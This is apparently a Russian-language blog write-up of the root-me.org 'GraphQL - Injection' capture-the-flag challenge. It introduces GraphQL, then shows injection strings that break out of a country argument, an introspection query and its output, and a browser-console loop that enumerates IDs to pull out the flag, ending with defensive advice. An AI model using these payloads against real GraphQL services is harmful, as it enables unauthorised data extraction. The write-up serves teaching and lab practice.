
Доброго времени суток. Решил очередную интересную задачку на информационную безопасность web-серверов. Задачка с портала root-me.org, называется "GraphQL - Injection". За решение задачки дают 30 баллов, средний уровень.

Погружение в GraphQL
С похожей задачкой мы уже сталкивались, это значительно сократило путь к флагу.
Тема, которая рассматривается в этой задаче, весьма интересна с точки зрения безопасности. Речь у нас пойдёт про такую штуку как GraphQL (Graph Query Language).
GraphQL, как пишут на хабре, это последний писк IT-моды. Если вы занимаетесь информационной безопасностью, то хотя бы ознакомиться с данной технологией нужно.
GraphQL — язык запросов данных и язык манипулирования данными с открытым исходным кодом для построения веб ориентированных программных интерфейсов. GraphQL был разработан внутри компании Facebook в 2012 году, а в 2015 году он был выпущен публично.
Ничего сложного в этой технологии нет. Web-разработчики знают что такое REST и что такое API. Допустим, вы в своём проекте обращаетесь к API и получаете данные о пользователе по идентификатору. Вам возвращают фамилию, имя, пол, рост, вес, возраст, имя домашнего питомца, размер... эээ.. не важно. В общем, из всего этого добра вам нужно только имя. Так почему бы не попросить API вернуть вам только имя? Если у вас маленький проект, то в данной технологии особого смысла нет, но если у вас высоконагруженная система, то смысл резко появляется. По сути, GraphQL позволяет гонять по сети только те данные, которые вам нужны.
При передаче данных GraphQL использует простые GET или POST запросы. Вы отправляете JSON, в котором указываете нужный вам формат данных, в ответ тоже приходит JSON с теми данными, которые вы запросили. Получается некий языка запросов. Синтаксис примерно такой. Запрашиваем данные:
{
users {
name
}
}
Получаем в ответ:
{
"data": {
"users": [
{ "name": "Вася" },
{ "name": "Петя" },
{ "name": "Оля" }
]
}
}
Если нам нужно больше данных:
{
users {
id
name
surname
age
}
}
Получаем:
{
"data": {
"users": [
{ "id": 1, "name": "Вася", "age": 24 },
{ "id": 2, "name": "Петя", "age": 43 },
{ "id": 3, "name": "Оля", "age": 19 }
]
}
}
Просто и со вкусом.
Ссылки
Решение
В задаче нам предлагают исследовать предложенную GraphQL схему. Говорят, что разработчик в этот раз повесил какую-никакую защиту. Предлагается обойти её с помощью инъекции. Инъекцию GraphQL я ещё не делал, будет интересно.
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch78/

Снова тема с ракетами. И даже табличка точно такая же, что и в предыдущем задании. Переключаем страну: табличка с ракетами меняется.

Посмотрим источник.

Снова всю работу делает скрипт:
<script>
function fetchData() {
const country = document.getElementById('country').value;
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json',
},
body: 'q=' + country
})
.then(r => r.json())
.then(function(data) {
data = data['data']['rockets'];
tbody = document.getElementById('tbody');
tbody.innerHTML = '';
data.forEach(function(d) {
tbody.innerHTML += `
<tr>
<td>${d['name']}</td>
<td>${d['country']}</td>
<td>${d['is_active']}</td>
</tr>\n`;
});
});
}
const sub_button = document.getElementById('sub_button');
sub_button.addEventListener('click', fetchData);
</script>
Скрипт отличается от предыдущего, если раньше разработчик отправлял целиком JSON объект, то теперь стало немного сложнее. У нас отправляется только название страны.
Посмотрим куда скрипт отправляет запрос:

Нам нужно научиться отправлять нужные нам запросы, причём только через название страны. Модифицируем скрипт.
function internetLab(q) {
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json',
},
body: 'q='+ q
})
.then(r => r.json())
.then(function(data) {
data = data['data'];
console.log(data);
});
}
internetLab('Russia');
Выполняем прямо в консоли.

Мы научились делать запросы GraphQL через название страны. Теперь нужно передать такое название страны, чтобы получилось сделать инъекцию.
Возился долго, в итоге получилось.
Ошибки в консоли помогали:

И так:

И так:

И так:

В общем, удалось получить двойной набор объектов:
internetLab('Russia"){name} r:rockets(country: "Russia');
Попробуем воспользоваться методом интроспекции и посмотреть структуру схемы GraphQL.
Интроспекция GraphQL – это встроенная возможность обнаруживать ресурсы, доступные в схеме GraphQL.
{__schema{types{name,fields{name}}}}
Формируем инъекцию:
internetLab('Russia"){name} __schema{types{name,fields{name}}} r:rockets(country: "Russia');

Так мы получим имена всех используемых типов:
{
"types": [
{
"name": "Rocket",
"fields": [
{
"name": "id"
},
{
"name": "name"
},
{
"name": "country"
},
{
"name": "is_active"
}
]
},
{
"name": "Int",
"fields": null
},
{
"name": "String",
"fields": null
},
{
"name": "HackerInSpace",
"fields": [
{
"name": "hacker_id"
},
{
"name": "hacker_value"
}
]
},
{
"name": "Query",
"fields": [
{
"name": "rockets"
},
{
"name": "HackerInSpace"
}
]
},
{
"name": "Boolean",
"fields": null
},
{
"name": "__Schema",
"fields": [
{
"name": "description"
},
{
"name": "types"
},
{
"name": "queryType"
},
{
"name": "mutationType"
},
{
"name": "subscriptionType"
},
{
"name": "directives"
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind"
},
{
"name": "name"
},
{
"name": "description"
},
{
"name": "specifiedByUrl"
},
{
"name": "fields"
},
{
"name": "interfaces"
},
{
"name": "possibleTypes"
},
{
"name": "enumValues"
},
{
"name": "inputFields"
},
{
"name": "ofType"
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "__Field",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "args"
},
{
"name": "type"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "type"
},
{
"name": "defaultValue"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__Directive",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "isRepeatable"
},
{
"name": "locations"
},
{
"name": "args"
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
}
]
}
Какие мы нашли интересные поля:
{
"name": "HackerInSpace",
"fields": [
{
"name": "hacker_id"
},
{
"name": "hacker_value"
}
]
},
{
"name": "Query",
"fields": [
{
"name": "rockets"
},
{
"name": "HackerInSpace"
}
]
},
Давайте посмотрим на этот HackerInSpace
. Попробуем получить первый элемент этого массива:
{ HackerInSpace(hacker_id:1) { hacker_id, hacker_value} }
Формируем инъекцию:
internetLab('Russia"){name} HackerInSpace(hacker_id:1) { hacker_id, hacker_value} r:rockets(country: "Russia');

Хм, массив пуст. Проверим что нужно передавать:
internetLab('Russia"){name} HackerInSpace{hacker_id hacker_value} r:rockets(country: "Russia');

message: "Field \"HackerInSpace\" argument \"hacker_id\" of type \"Int!\" is required, but it was not provided."
Всё верно. Может, номер какой-то другой? Сделаем цикл.
function internetLabLoop(i) {
internetLab('Russia"){name} HackerInSpace(hacker_id:'+ i +'){ hacker_id, hacker_value} r:rockets(country: "Russia');
}
let i = 1;
while (i < 100) {
internetLabLoop(i);
i++;
}

Таки-да, с определённого шага в HackerInSpace что-то есть. Напишем цикл:
function internetLab(i) {
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json',
},
body: 'q=Russia"){name} HackerInSpace(hacker_id:'+ i +'){ hacker_id, hacker_value} r:rockets(country: "Russia'
})
.then(r => r.json())
.then(function(data) {
data = data['data']['HackerInSpace'];;
data.forEach(function(d) {
console.log(d['hacker_value']);
});
});
}
let i = 1;
while (i < 100) {
internetLab(i);
i++;
}

И...

Флаг у нас в руках. Проверим.

Флаг подходит, зарабатываем 30 очков. Было интересно.
Безопасность
Прежде всего не стоит в схеме GraphQL передавать чувствительные данные и при этом включать систему самоанализа. Интроспекцию можно и отключить.
Следует понимать, что основанная на GET и POST запросах система уязвима всё к тем же методам атак. А то и так бывает:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
В GraphQL могут быть уязвимости, похожие на инъекции, хотя они отличаются от классических SQL-инъекций. Вот основные типы атак и уязвимостей в GraphQL:
- GraphQL-инъекции (вложенные запросы). Злоумышленник может отправлять сложные вложенные запросы, вызывая перегрузку сервера (DoS-атака). Защита: ограничение глубины запросов (max-depth), лимиты на сложность запросов.
- Инъекции в аргументы (аналогично SQLi). Если сервер некорректно обрабатывает входные данные, возможны инъекции в аргументах. Защита: валидация и санитизация входных данных, параметризованные запросы.
- Утечка данных через интроспекцию. GraphQL позволяет запрашивать схему API (__schema), что может раскрыть структуру данных. Защита: отключение интроспекции в продакшене (introspection: false).
- CSRF-атаки (если используется куки для аутентификации). GraphQL-запросы могут выполняться через POST-запросы, уязвимые к CSRF. Защита: использование CSRF-токенов, проверка заголовка Content-Type: application/json.
- Batch-атаки (множественные мутации). Злоумышленник может отправить множество мутаций в одном запросе. Защита: ограничение количества операций в запросе.